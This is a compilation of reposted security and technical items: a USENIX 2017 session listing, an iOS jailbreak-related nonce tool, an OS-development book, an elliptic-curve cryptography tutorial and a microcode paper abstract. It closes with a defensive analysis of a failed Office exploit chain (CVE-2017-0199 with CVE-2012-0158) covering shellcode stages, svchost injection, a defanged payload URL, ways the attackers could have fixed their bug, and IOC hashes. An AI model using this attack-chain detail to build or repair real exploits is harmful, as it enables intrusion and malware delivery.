on USB Hubs Yang Su, Auto-ID Lab, The School of Computer Science, The University of Adelaide; Daniel Genkin, University of Pennsylvania and University of Maryland; Damith Ranasinghe, Auto-ID Lab, The School of Computer Science, The University of Adelaide; Yuval Yarom, The University of Adelaide and Data61, CSIRO AVAILABLE MEDIA Show details ▸ Reverse Engineering x86 Processor Microcode Philipp Koppe, Benjamin Kollenda, Marc Fyrbiak, Christian Kison, Robert Gawlik, Christof Paar, and Thorsten Holz, Ruhr-University Bochum AVAILABLE MEDIA Show details ▸ See No Evil, Hear No Evil, Feel No Evil, Print No Evil? Malicious Fill Patterns Detection in Additive Manufacturing Christian Bayens, Georgia Institute of Technology; Tuan Le and Luis Garcia, Rutgers University; Raheem Beyah, Georgia Institute of Technology; Mehdi Javanmard and Saman Zonouz, Rutgers University AVAILABLE MEDIA Show details ▸ Track 3 Hide details ▾ Privacy & Anonymity Systems Junior Ballroom Session Chair: Michael Bailey, University of Illinois at Urbana–Champaign The Loopix Anonymity System Ania M. Piotrowska and Jamie Hayes, University College London; Tariq Elahi, KU Leuven; Sebastian Meiser and George Danezis, University College London AVAILABLE MEDIA Show details ▸ MCMix: Anonymous Messaging via Secure Multiparty Computation Nikolaos Alexopoulos, TU Darmstadt; Aggelos Kiayias, University of Edinburgh; Riivo Talviste, Cybernetica AS; Thomas Zacharias, University of Edinburgh AVAILABLE MEDIA Show details ▸ ORide: A Privacy-Preserving yet Accountable Ride-Hailing Service Anh Pham, Italo Dacosta, Guillaume Endignoux, and Juan Ramon Troncoso Pastoriza, EPFL; Kevin Huguenin, UNIL; Jean-Pierre Hubaux, EPFL AVAILABLE MEDIA Show details ▸ 12:30 pm–2:00 pm Lunch (on your own) 2:00 pm–3:30 pm Track 1 Hide details ▾ Software Integrity Grand Ballroom AB Session Chair: William Robertson, Northeastern University Adaptive Android Kernel Live Patching Yue Chen, Florida State University; Yulong Zhang, Baidu X-Lab; Zhi Wang, Florida State University; Liangzhao Xia, Chenfu Bao, and Tao Wei, Baidu X-Lab AVAILABLE MEDIA Show details ▸ CHAINIAC: Proactive Software-Update Transparency via Collectively Signed Skipchains and Verified Builds Kirill Nikitin, Eleftherios Kokoris-Kogias, Philipp Jovanovic, Nicolas Gailly, and Linus Gasser, École polytechnique fédérale de Lausanne (EPFL); Ismail Khoffi, University of Bonn; Justin Cappos, New York University; Bryan Ford, École polytechnique fédérale de Lausanne (EPFL) AVAILABLE MEDIA Show details ▸ ROTE: Rollback Protection for Trusted Execution Sinisa Matetic, Mansoor Ahmed, Kari Kostiainen, Aritra Dhar, David Sommer, and Arthur Gervais, ETH Zurich; Ari Juels, Cornell Tech; Srdjan Capkun, ETH Zurich AVAILABLE MEDIA Show details ▸ Track 2 Hide details ▾ Crypto Deployment Grand Ballroom CD Session Chair: Devdatta Akhawe, Dropbox A Longitudinal, End-to-End View of the DNSSEC Ecosystem Taejoong Chung, Northeastern University; Roland van Rijswijk-Deij, University of Twente and SURFnet bv; Balakrishnan Chandrasekaran, TU Berlin; David Choffnes, Northeastern University; Dave Levin, University of Maryland; Bruce M. Maggs, Duke University and Akamai Technologies; Alan Mislove and Christo Wilson, Northeastern University Distinguished Paper Award Winner! AVAILABLE MEDIA Show details ▸ Measuring HTTPS Adoption on the Web Adrienne Porter Felt, Google; Richard Barnes, Cisco; April King, Mozilla; Chris Palmer, Chris Bentzel, and Parisa Tabriz, Google AVAILABLE MEDIA Show details ▸ "I Have No Idea What I'm Doing" - On the Usability of Deploying HTTPS Katharina Krombholz, Wilfried Mayer, Martin Schmiedecker, and Edgar Weippl, SBA Research AVAILABLE MEDIA Show details ▸ Track 3 Hide details ▾ Privacy Attacks & Defense Junior Ballroom Session Chair: Thomas Eisenbarth, Universität zu Lübeck & WPI Beauty and the Burst: Remote Identification of Encrypted Video Streams Roei Schuster, Tel Aviv University, Cornell Tech; Vitaly Shmatikov, Cornell Tech; Eran Tromer, Tel Aviv University, Columbia University AVAILABLE MEDIA Show details ▸ Walkie-Talkie: An Efficient Defense Against Passive Website Fingerprinting Attacks Tao Wang, Hong Kong University of Science and Technology; Ian Goldberg, University of Waterloo AVAILABLE MEDIA Show details ▸ A Privacy Analysis of Cross-device Tracking Sebastian Zimmeck, Carnegie Mellon University; Jie S. Li and Hyungtae Kim, unaffiliated; Steven M. Bellovin and Tony Jebara, Columbia University AVAILABLE MEDIA Show details ▸ 3:30 pm–4:00 pm Break with refreshments Grand Ballroom Foyer 4:00 pm–5:00 pm Track 1 Hide details ▾ Blockchains Grand Ballroom AB Session Chair: Thomas Ristenpart, Cornell Tech SmartPool: Practical Decentralized Pooled Mining Loi Luu, National University of Singapore; Yaron Velner, The Hebrew University of Jerusalem; Jason Teutsch, TrueBit Foundation; Prateek Saxena, National University of Singapore AVAILABLE MEDIA Show details ▸ REM: Resource-Efficient Mining for Blockchains Fan Zhang, Ittay Eyal, and Robert Escriva, Cornell University; Ari Juels, Cornell Tech; Robbert van Renesse, Cornell University AVAILABLE MEDIA Show details ▸ Track 2 Hide details ▾ Databases Grand Ballroom CD Session Chair: Engin Kirda, Northeastern University Ensuring Authorized Updates in Multi-user Database-Backed Applications Kevin Eykholt, Atul Prakash, and Barzan Mozafari, University of Michigan Ann Arbor AVAILABLE MEDIA Show details ▸ Qapla: Policy compliance for database-backed systems Aastha Mehta and Eslam Elnikety, Max Planck Institute for Software Systems (MPI-SWS); Katura Harvey, University of Maryland, College Park and Max Planck Institute for Software Systems (MPI-SWS); Deepak Garg and Peter Druschel, Max Planck Institute for Software Systems (MPI-SWS) AVAILABLE MEDIA Show details ▸ Track 3 Hide details ▾ Invited Talks Junior Ballroom Session Chair: Michael Bailey, University of Illinois at Urbana–Champaign Data Hemorrhage, Inequality, and You: How Technology and Data Flows are Changing the Civil Liberties Game Shankar Narayan, Technology and Liberty Project Director, American Civil Liberties Union of Washington Show details ▸ Sursa: https://www.usenix.org/node/203932

PhœnixNonce We told you to save your blobs. About Lets you set your boot-nonce so you can restore with saved blobs. For 64-bit devices only (for 32-bit, check out the Phœnix Jailbreak). As always, use at your own risk. Download Here. Usage Download the IPA. Install with Cydia Impactor. Run the app & set your generator. Restore with futurerestore. License MIT. Uses code from kern-utils and cl0ver. Copyright Siguza, tihmstar and others (see source code for details). Sursa: https://github.com/Siguza/PhoenixNonce

Operating Systems: From 0 to 1 This book helps you gain the foundational knowledge required to write an operating system from scratch. Hence the title, 0 to 1. After completing this book, at the very least you will learn: How to write an operating system from scratch by reading hardware datasheets. In the real world, it works like that. You won’t be able to consult Google for a quick answer. A big picture of how each layer of a computer is related to the other, from hardware to software. Write code independently. It’s pointless to copy and paste code. Real learning happens when you solve problems on your own. Some examples are given to kick start, but most problems are yours to conquer. However, the solutions are available online for you to examine after giving it a good try. Linux as a development environment and how to use common tools for low-level programming. x86 assembly in-depth. How a program is structured so that an operating system can run. How to debug a program running directly on hardware with gdb and QEMU. Linking and loading on bare metal x86_64, with pure C. No standard library. No runtime overhead. Download the book The pedagogy of the book You give a poor man a fish and you feed him for a day. You teach him to fish and you give him an occupation that will feed him for a lifetime. This has been the guiding principle of the book when I was writing it. The book does not try to teach you everything, but enough to enable you to learn by yourself. The book itself, at this point, is quite “complete”: once you master part 1 and part 2 (which consist of 8 chapters), you can drop the book and learn by yourself. At this point, smart readers should be able to continue on their own. For example, they can continue their journeys on OSDev wiki; in fact, after you study everything in part 1 and part 2, you only meet the minimum requirement by OSDev Wiki (well, not quite, the book actually goes deeper for the suggested topics). Or, if you consider developing an OS for fun is impractical, you can continue with a Linux-specific book, such as this free book Linux Insides, or other popular Linux kernel books. The book tries hard to provide you a strong foundation, and that’s why part 1 and part 2 were released first. The book teaches you core concepts, such as x86 Assembly, ELF, linking and debugging on bare metal, etc., but more importantly, where such information come from. For example, instead of just teaching x86 Assembly, it also teaches how to use reference manuals from Intel. Learning to read the official manuals is important because only the hardware manufacturers themselves understand how their hardware work. If you only learn from the secondary resources because it is easier, you will never gain a complete understanding of the hardware you are programming for. Have you ever read a book on Assembly, and wondered where all the information came from? How does the author know everything he says is correct? And how one seems to magically know so much about hardware programming? This book gives pointers to such questions. As an example, you should skim through chapter 4, “x86 Assembly and C”, to see how it makes use of the Intel manual, Volume 2. And in the process, it guides you how to use the official manuals. Part 3 is planned as a series of specifications that a reader will implement to complete each operating system component. It does not contain code aside from a few examples. Part 3 is just there to shorten the reader’s time when reading the official manuals by giving hints where to read, explaining difficult concepts and how to use the manuals to debug. In short, the implementation is up to the reader to work on his or her own; the chapters are just like university assignments. Prerequisites Know some circuit concepts: Basic Concepts of Electricity: atoms, electrons, protons, neutrons, current flow. Ohm’s law However, if you know absolutely nothing about electricity, you can quickly learn it here:http://www.allaboutcircuits.com/textbook/, by reading chapter 1 and chapter 2. C programming. In particular: Variable and function declarations/definitions While and for loops Pointers and function pointers Fundamental algorithms and data structures in C Linux basics: Know how to navigate directory with the command line Know how to invoke a command with options Know how to pipe output to another program Touch typing. Since we are going to use Linux, touch typing helps. I know typing speed does not relate to problem-solving, but at least your typing speed should be fast enough not to let it get it the way and degrade the learning experience. In general, I assume that the reader has basic C programming knowledge, and can use an IDE to build and run a program. Status: Part 1 Chapter 1: Complete Chapter 2: Complete Chapter 3: Almost. Currently, the book relies on the Intel Manual for fully explaining x86 execution environment. Chapter 4: Complete Chapter 5: Complete Chapter 6: Complete Part 2 Chapter 7: Complete Chapter 8: Complete Part 3 Chapter 9: Incomplete Chapter 10: Incomplete Chapter 11: Incomplete Chapter 12: Incomplete Chapter 13: Incomplete … and future chapters not included yet … In the future, I hope to expand part 3 to cover more than the first 2 parts. But for the time being, I will try to finish the above chapters first. Sample OS This repository is the sample OS of the book that is intended as a reference material for part 3. It covers 10 chapters of the “System Programming Guide” (Intel Manual Volume 3), along with a simple keyboard and video driver for input and output. However, at the moment, only the following features are implemented: Protected mode. Creating and managing processes with TSS (Task State Structure). Interrupts LAPIC. Paging and I/O are not yet implemented. I will try to implement it as the book progresses. Contributing If you find any grammatical issues, please report it using Github Issues. Or, if some sentence or paragraph is difficult to understand, feel free to open an issue with the following title format: [page number][type] Descriptive Title. For example: [pg.9][grammar] Incorrect verb usage. type can be one of the following: Typo: indicates typing mistake. Grammar: indicates incorrect grammar usage. Style: indicates a style improvement. Content: indicates problems with the content. Even better, you can make a pull request with the provided book source. The main content of the book is in the file “Operating Systems: From 0 to 1.lyx”. You can edit the .txt file, then I will integrate the changes manually. It is a workaround for now since Lyx can cause a huge diff which makes it impossible to review changes. The book is in development, so please bear with me if the English irritates you. I really appreciate it. Finally, if you like the project and if it is possible, please donate to help this project and keep it going. Got questions? If you have any question related to the material or the development of the book, feel free to open a Github issue. Sursa: https://tuhdo.github.io/os01/

Blockchain 101 - Elliptic Curve Cryptography Aug 15, 2017 | By Jimmy Song, Principal Blockchain Architect In this series of articles, I’m aiming to give you a solid foundation for blockchain development. In the last article, we gave an overview of the foundational math, specifically, finite fields and elliptic curves. In this article, my aim is to get you comfortable with elliptic curve cryptography (ECC, for short). This lesson builds upon the last one, so be sure to read that one first before continuing. The Magic of Elliptic Curve Cryptography Finite fields are one thing and elliptic curves another. We can combine them by defining an elliptic curve over a finite field. All the equations for an elliptic curve work over a finite field. By “work”, we mean that we can do the same addition, subtraction, multiplication and division as defined in a particular finite field and all the equations stay true. If this sounds confusing, it is. Abstract algebra is abstract! Of course, the elliptic curve graphed over a finite field looks very different than an actual elliptic curve graphed over the Reals. An elliptic curve over real numbers looks like this: An elliptic curve over a finite field looks scattershot like this: How to calculate Elliptic Curves over Finite Fields Let’s look at how this works. We can confirm that (73, 128) is on the curve y2=x3+7 over the finite field F137. $ python2 >>> 128**2 % 137 81 >>> (73**3 + 7) % 137 81 The left side of the equation (y2) is handled exactly the same as in a finite field. That is, we do field multiplication of y * y. The right side is done the same way and we get the same value. Exercise True or False: Point is on the y2=x3+7 curve over F223 1. (192, 105) 2. (17, 56) 3. (200, 119) 4. (1, 193) 5. (42, 99) Highlight to reveal answers: 1. True, 2. True, 3. False, 4. True, 5. False Group Law The group law for an elliptic curve also works over a finite field: Curve:y2=x3+ax+b P1=(x1,y1) P2=(x2,y2) P1+P2=(x3,y3) When x1≠x2: s=(y2-y1)/(x2-x1) x3=s2-x1-x2 y3=s(x1-x3)-y1 As discussed in the previous article, the above equation is used to find the third point that intersects the curve given two other points on the curve. In a finite field, this still holds true, though not as intuitively since the graph is a large scattershot. Essentially, all of these equations work in a finite field. Let’s see in an example: Curve: y2=x3+7 Field: F137 P1 = (73, 128) P2 = (46, 22) Find P1+P2 First, we can confirm both points are on the curve: 1282% 137 = 81 = (733+7) % 137 222% 137 = 73 = (463+7) % 137 Now we apply the formula above: s = (y2-y1)/(x2-x1) = (22-128)/(46-73) = 106/27 To get 1/27, we have to use field division as we learned last time. Python: >>> pow(27, 135, 137) 66 >>> (106*66) % 137 9 We get s=106/27=106*66 % 137=9. Now we can calculate the rest: x3 = s2-x1-x2 = 92-46-73 = 99 y3 = s(x1-x3)-y1 = 9(73-99)-128 = 49 We can confirm that this is on the curve: 492% 137 = 72 = (993+7) % 137 P1+P2 = (99, 49) Exercise Calculate the following on the curve: y2=x3+7 over F223 1. (192, 105) + (17, 56) 2. (47, 71) + (117, 141) 3. (143, 98) + (76, 66) Highlight to reveal answers: 1. (170, 142), 2. (60, 139), 3. (47, 71) Using the Group Law Given a point on the curve, G, we can create a nice finite group. A group, remember, is a set of numbers closed under a single operation that’s associative, commutative, invertible and has an identity. We produce this group, by adding the point to itself. We can call that point 2G. We can add G again to get 3G, 4G and so on. We do this until we get to some nG where nG=0. This set of points {0, G, 2G, 3G, 4G, … (n-1)G} is a mathematical group. 0, by the way, is the “point at infinity”. You get this point by adding (x,y) + (x,-y). Given that (x,y) is on the curve (x,-y) is on the curve since the left side of the elliptic curve equation has a y2. Adding these produces a point that’s got infinity for both x and y. This is what we call the identity. It turns out that calculating sG = P is pretty easy, but given G and P, it’s difficult to calculate s without checking every possible number from 1 to n-1. This is called the Discrete Log problem and it’s very hard to go backwards if n is really large. This s is what we call the secret key. Because the field is finite, the group is also finite. What’s more, if we choose the elliptic curve and the prime number of the field carefully, we can also make the group have a large prime number of elements. Indeed, that’s what defines an elliptic curve for the purposes of elliptic curve cryptography. Defining a Curve Specifically, each ECC curve defines: elliptic curve equation (usually defined as a and b in the equation y2 = x3 + ax + p = Finite Field Prime Number G = Generator point n = prime number of points in the group The curve used in Bitcoin is called secp256k1 and it has these parameters: Equation y2 = x3 + 7 (a = 0, b = 7) Prime Field (p) = 2256 - 232 - 977 Base point (G) = (79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798, 483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8) Order (n) = FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 The curve’s name is secp256k1, where SEC stands for Standards for Efficient Cryptography and 256 is the number of bits in the prime field. The big thing to note about this curve is that n is fairly close to p. That is, most points on the curve are in the group. This is not necessarily a property shared in other curves. As a result, we have something pretty close to 2256 possible secret keys. How Big Is 2256? Note that 2256 is a really large number. It’s around 1077, which is way more than the number of atoms in our galaxy (1057). It’s basically inconceivable to calculate all possible secret keys as there are simply too many of them. A trillion computers doing a trillion operations every picosecond (10-12 seconds) for a trillion years is still less than 1056 operations. Human intuition breaks down when it comes to numbers this big, perhaps because until recently we’ve never had a reason to think like this; if you’re thinking that all you need is more/faster computers, the numbers above haven’t sunk in. Working With Elliptic Curves To begin working with elliptic curves, let’s confirm that the generator point (G) is on the curve (y2 = x3 + 7) G = (79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798, 483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8) p = 2256 - 232 - 977 y2 = x3 + 7 $ python2 >>> x = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798 >>> y = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8 >>> p = 2**256 - 2**32 - 977 >>> y**2 % p == (x**3 + 7) % p True Remember, we’re always working in the Prime Field of p. This means that we always mod p for these operations. Next, let’s confirm that G has order n. That is, nG = 1. This is going to require the use of a python library called pycoin. It has all of the secp256k1 curve parameters that we can check. Similar libraries exist for other languages. Note that the actual process is a bit more complicated and the reader is encouraged to explore the implementation for more details. G = (79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798, 483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8) n = FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 $ python2: >>> n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 >>> from pycoin.ecdsa import generator_secp256k1 as g >>> (n*g).pair() (None, None) (None, None) is actually the point at infinity, or the identity for point-addition. Utilizing ECC for Public Key Cryptography Private keys are the scalars, usually donated with “s” or some other lower case letter. The public key is the resulting point of the scalar multiplication or sG, which is usually denoted with “P”. P is actually a point on the curve and is thus two numbers, the x and y coordinate or (x,y). Here’s how you can derive the public key from the private key: Python: >>> from pycoin.ecdsa import generator_secp256k1 as g >>> secret = 999 >>> x, y = (secret*g).pair() >>> print(hex(x), hex(y)) ('0x9680241112d370b56da22eb535745d9e314380e568229e09f7241066003bc471L', '0xddac2d377f03c201ffa0419d6596d10327d6c70313bb492ff495f946285d8f38L') Exercise 1. Get the public points for s in (7, 1485, 2128, 2240+231) in the secp256k1 curve. 2. Confirm the resulting points lie on the secp256k1 curve. Highlight to reveal answers: (5CBDF0646E5DB4EAA398F365F2EA7A0E3D419B7E0330E39CE92BDDEDCAC4F9BC, 6AEBCA40BA255960A3178D6D861A54DBA813D0B813FDE7B5A5082628087264DA), (C982196A7466FBBBB0E27A940B6AF926C1A74D5AD07128C82824A11B5398AFDA, 7A91F9EAE64438AFB9CE6448A1C133DB2D8FB9254E4546B6F001637D50901F55), (8F68B9D2F63B5F339239C1AD981F162EE88C5678723EA3351B7B444C9EC4C0DA, 662A9F2DBA063986DE1D90C2B6BE215DBBEA2CFE95510BFDF23CBF79501FFF82), (9577FF57C8234558F293DF502CA4F09CBC65A6572C842B39B366F21717945116, 10B49C67FA9365AD7B90DAB070BE339A1DAF9052373EC30FFAE4F72D5E66D053) SEC Format The private keys are just 256 bit numbers, but the public keys are actually 2 different 256-bit numbers. This means that we need to serialize them. The same organization (Standards for Efficient Cryptography) created a format for this very purpose. There are two versions, compressed and uncompressed. Let’s start with the uncompressed version: The first point from exercise 1 above is: (x, y) = (5CBDF0646E5DB4EAA398F365F2EA7A0E3D419B7E0330E39CE92BDDEDCAC4F9BC, 6AEBCA40BA255960A3178D6D861A54DBA813D0B813FDE7B5A5082628087264DA) In uncompressed SEC, we concatenate the byte “04”, then the X-coordinate and then the Y-coordinate. It looks something like this in hex: 045CBDF0646E5DB4EAA398F365F2EA7A0E3D419B7E0330E39CE92BDDEDCAC4F9BC6AEBCA40BA255960A3178D6D861A54DBA813D0B813FDE7B5A5082628087264DA Because the x and y coordinates are 32-bytes (256 bits) each, the length of an uncompressed SEC format public key is 65 bytes. It turns out this is a little bit inefficient. If we know the x coordinate, there are only two possible y-coordinates, the positive and negative (odd and even in a finite field). Thus, they came up with a compressed SEC format. The first byte is “02” if y is even, “03” if y is odd. Then we concatenate the x-coordinate. The above point in Compressed SEC format is this: 025CBDF0646E5DB4EAA398F365F2EA7A0E3D419B7E0330E39CE92BDDEDCAC4F9BC This is because the y-coordinate ends in A, which is even in hex. Note that compressed keys are always 33 bytes (1 byte + 32 byte x-coordinate) Exercise Find the compressed and uncompressed SEC format for the public keys where the secret key is: 1. 9993 2. 123 3. 42424242 Highlight to reveal answers: 049D5CA49670CBE4C3BFA84C96A8C87DF086C6EA6A24BA6B809C9DE234496808D56FA15CC7F3D38CDA98DEE2419F415B7513DDE1301F8643CD9245AEA7F3F911F9, 039D5CA49670CBE4C3BFA84C96A8C87DF086C6EA6A24BA6B809C9DE234496808D5 04A598A8030DA6D86C6BC7F2F5144EA549D28211EA58FAA70EBF4C1E665C1FE9B5204B5D6F84822C307E4B4A7140737AEC23FC63B65B35F86A10026DBD2D864E6B, 03A598A8030DA6D86C6BC7F2F5144EA549D28211EA58FAA70EBF4C1E665C1FE9B5 04AEE2E7D843F7430097859E2BC603ABCC3274FF8169C1A469FEE0F20614066F8E21EC53F40EFAC47AC1C5211B2123527E0E9B57EDE790C4DA1E72C91FB7DA54A3, 03AEE2E7D843F7430097859E2BC603ABCC3274FF8169C1A469FEE0F20614066F8E Conclusion In this lesson, we learned how to combine finite fields and elliptic curves to create a finite group for use in public key cryptography. Next time, we’ll show how to convert SEC format public keys to Bitcoin Addresses and how we can sign and verify messages using the math learned here. Sursa: https://eng.paxos.com/blockchain-101-elliptic-curve-cryptography

Reverse Engineering x86 Processor Microcode Authors: Philipp Koppe, Benjamin Kollenda, Marc Fyrbiak, Christian Kison, Robert Gawlik, Christof Paar, and Thorsten Holz, Ruhr-University Bochum Open Access Content USENIX is committed to Open Access to the research presented at our events. Papers and proceedings are freely available to everyone once the event begins. Any video, audio, and/or slides that are posted after the event are also free and open to everyone. Support USENIX and our commitment to Open Access. Koppe PDF BibTeX Abstract: Microcode is an abstraction layer on top of the physical components of a CPU and present in most general-purpose CPUs today. In addition to facilitate complex and vast instruction sets, it also provides an update mechanism that allows CPUs to be patched in-place without requiring any special hardware. While it is well-known that CPUs are regularly updated with this mechanism, very little is known about its inner workings given that microcode and the update mechanism are proprietary and have not been throughly analyzed yet. In this paper, we reverse engineer the microcode semantics and inner workings of its update mechanism of conventional COTS CPUs on the example of AMD’s K8 and K10 microarchitectures. Furthermore, we demonstrate how to develop custom microcode updates. We describe the microcode semantics and additionally present a set of microprograms that demonstrate the possibilities offered by this technology. To this end, our microprograms range from CPU-assisted instrumentation to microcoded Trojans that can even be reached from within a web browser and enable remote code execution and cryptographic implementation attacks. Sursa: https://www.usenix.org/conference/usenixsecurity17/technical-sessions/presentation/koppe

Monday, August 14, 2017 When combining exploits for added effect goes wrong Introduction Since public disclosure in April 2017, CVE-2017-0199 has been frequently used within malicious Office documents. The vulnerability allows attackers to include Ole2Link objects within RTF documents to launch remote code when HTA applications are opened and parsed by Microsoft Word. In this recent campaign, attackers combined CVE-2017-0199 exploitation with an earlier exploit, CVE-2012-0158, possibly in an attempt to evade user prompts by Word, or to arrive at code execution via a different mechanism. Potentially, this was just a test run in order to test a new concept. In any case, the attackers made mistakes which caused the attack to be a lot less effective than it could have been. Analysis of the payload highlights the potential for the Ole2Link exploit to launch other document types, and also demonstrates a lack of rigorous testing procedures by at least one threat actor. Attackers are obviously trying to find a way around known warning mechanisms alerting users about potential security issues with opened documents. In this blog post we analyse what happens when an attack attempts to combine these two exploits in a single infection chain and fails. Although this attack was unsuccessful it has shown a level of experimentation by attackers seeking to use CVE-2017-0199 as a means to launch additional weaponized file types and avoid user prompts. It may have been an experiment that didn’t quite work out, or it may be indication of future attacks yet to materialise. Standard CVE-2017-0199 exploitation A typical attack exploiting CVE-2017-0199 consists of an email campaign, distributing a malicious RTF document.The vulnerability exists in code that handles Ole2Link embedded objects. Including an Ole2Link in an RTF document allows Word to load other, remote documents within the context of Word. Standard CVE-2017-0199 flow If the remote OLE2Link points to an HTML application file (HTA file type), vulnerable Word and WordPad versions will parse and execute the application even if the user chooses not to allow inclusion of the remote content. A possible sign of exploitation attempt of CVE-2017-0199 is this Word prompt to the user: Word prompt displayed to the user before potential CVE-2017-0199 exploit attempt Modified CVE-2017-0199 flow In the case of the modified exploit flow we analyzed, the attack started with an email message containing a malicious attachment. The email employed the usual social engineering tricks to entice the user to open and read the attached document. Referring to the attachment as a purchase order coming from an unknown "partner" is a very common social engineering trick of spammed malware. Email message launching the modified attack The document attached to the email message is an RTF file including an Ole2Link to a remote document hosted at hxxp://multplelabs [dot] com/ema/order.doc. In this case, the mime content type of the remote document observed in the packet capture of the attack was not the expected application/hta but rather application/msword which was enough to motivate us to dig a little bit deeper in order to find out what the attackers are trying to achieve. The first surprising thing is that the vulnerable version of Word I used for the analysis crashed before it managed to display the prompt commonly seen with CVE-2017-0199 exploitation. Instead of displaying the prompt, Word started to convert the downloaded document and then hung before eventually crashing with a memory access fault. Word crashes without the prompt The crash was caused not by the first exploit stage using CVE-2017-0199 but rather by the second stage using CVE-2012-0158. Here we see the shellcode embedded into a MSComctlLib.ListViewCtrl.2 ActiveX control, which is a telltale sign of CVE-2012-0158. The shellcode starts with a ROP chain followed by the shellcode which starts executing when the vulnerability is triggered. After the ROP chain sets the right permissions for the memory block containing the rest of the shellcode, the first stage of the shellcode is executed. First stage shellcode for CVE-2012-0158 This stage is responsible for the application crash. The attackers did not seem to have a good quality assurance process or perhaps the technical expertise to understand what will happen if they simply included an automatically generated CVE-2012-0158 exploit in combination with CVE-2017-0199. The shellcode starts with resolving several API addresses, which allow the code to traverse all open files by bruteforcing the handle numbers for open files, starting from zero and increasing the handle number by four for every next open file handle. If the handle exists, the shellcode attempts to check the file size using the GetFileSize API that takes the file handle as the parameter. If the file size is within the expected range the shellcode maps it in memory to perform a file type check. Checking the file size and finding file type The shellcode here incorrectly assumes that if the found file is an RTF file then all the required conditions are met and the identified RTF file must contain the next shellcode stage. Once the shellcode assumes the file size and type requirements are satisfied, it starts to read the mapped file looking for the next stage shellcode marker which is, in our test, never found because the original CVE-2017-0199 exploiting file is still present in memory. This file satisfies both of the conditions searched for by the first stage shellcode. Since the CVE-2017-0199 exploiting file is open before the CVE-2012-0158 document, its handle is smaller and it is read first by the shellcode. First stage shellcode looking for the next shellcode stage marker The shellcode searches for the next stage marker 0xfefefefefeffffffff within the wrong document, without correctly handling reads beyond the document length. This eventually causes a memory protection error by reading memory content past the allocated memory blocks. If the attackers would have been just a little bit more technically savvy they would realize this problem and easily fix it to make these two exploits work together successfully without the prompt to load the remote content being displayed to the end-user. One possible fix involves fixing a single byte to make the file size limits a bit stricter to exclude the original CVE-2017-0199 file size. The other way, just slightly more complex, is to correctly handle cases when the next stage marker is not found within the RTF and assume that the targeted Word process already has other RTF documents opened which satisfy the file size condition. Interestingly enough, the shellcode in the document containing the CVE-2012-0158 exploit will be successfully executed if there are no other open RTF files so we analyzed the remainder for the sake of completeness. Second stage shellcode The second stage shellcode is a bit more complex and starts by finding required API functions within ntdll.dll. The API functions are used to launch an instance of svchost.exe in a suspended state, and to overwrite the original entrypoint with the final "download and execute" shellcode stage which eventually launches the executable payload. Finding ntdll.dll APIs to inject the last stage and resume svchost.exe process The last shellcode stage, injected into svchost.exe uses UrlDownloadToFile API to download an executable file from the command and control server into the temporary files folder with the filename name.exe, and calls the ShellExecute function to launch the final payload. Download and execute stage The downloaded executable payload is a packed VB dropper which drops an older Ramnit version, but it also runs Lokibot, based on the observed traffic to the command and control server. Ramnit is a well known self-replicating information stealing bot which also includes a rootkit to hide its presence from the user and security products and is already well documented. Further analysis of this particular piece of malware is outside of the scope of this blog post. Despite being older, the Ramnit family is still a commonly encountered malware family by Talos. It is possible that in this case the attackers intended to launch a Lokibot attack but the sample got infected by the Ramnit file infection component along the way. DNS activity for multplelabs.com The domain hosting the malware and the command and control server was registered in October 2016 and it is likely a compromised site, although it seems to have been used by some other Lokibot campaigns. The DNS activity for the domain shows two distinct spikes, which likely indicate two unsuccessful spam campaigns as there has been no additional activity to show increase in communication from infected systems to the command and control server. The DNS activity confirms our findings which document the reasons for the attack failure. Conclusion CVE-2017-0199 is one of the most commonly used vulnerabilities exploited by malicious documents distributed in spamming campaigns. Previous work indicates that its popularity with attackers overcame the popularity of CVE-2012-0158. In this blog post we analyse what happens when an attack attempts to combine these two exploits in a single infection chain. In the case of this campaign the attackers made a major mistake that prevented the intended download and execution of the Ramnit payload. Attempted combined attack stages One has to wonder why did the attackers use the combination of a newer and an older exploit at all? The combination would not be executed if the targeted system had a patch against either of the exploits. In addition, if the targeted system was vulnerable to CVE-2012-0158 it would be much easier for the attackers to use a single exploit targeting this vulnerability. An assumption we can make is that that the attackers used the combination to avoid Word displaying the prompt which may raise suspicions for the target end user. Another possibility is that they attempted to use this combination in order to avoid behavioral detection systems which may be triggering on the combination of Ole2Link in a word document and a download of an HTA file. This attack was unsuccessful, potentially indicating poor testing or quality control procedures by the attackers. However, this does show a level of experimentation by attackers seeking to use CVE-2017-0199 as a means to launch additional weaponized file types and avoid user prompts. This attack may have been an experiment that didn't quite work out, or it may be indication of future attacks yet to materialise. Coverage Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors. CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks. Email Security can block malicious emails sent by threat actors as part of their campaign. Network Security appliances such as NGFW, NGIPS, and Meraki MX with Advanced Security can detect malicious activity associated with this threat. AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products. Umbrella prevents DNS resolution of the domains associated with malicious activity. Stealthwatch detects network scanning activity, network propagation, and connections to CnC infrastructures, correlating this activity to alert administrators. IOCs Documents 5ae2f13707ee38e4675ad1bc016b19875ee32312227103d6f202874d8543fc2e - CVE-2017-0199 6a84e5fd6c9b2c1685efc7ac8d763048913bad2e767b4958e7b40b4488bacf80 - CVE-2012-0158 Executables 351aec22d926b4fb7efc7bafae9d1603962cadf0aed1e35b1ab4aad237723474 f34e5af97ccb3574f7d5343246138daf979bfd1f9c37590e9a41f6420ddb3bb6 43624bf57a9c7ec345d786355bb56ca9f76c226380302855c61277bdc490fdfe d4fbca06989a074133a459c284d79e979293625262a59fbd8b91825dbfbe2a13 URLs 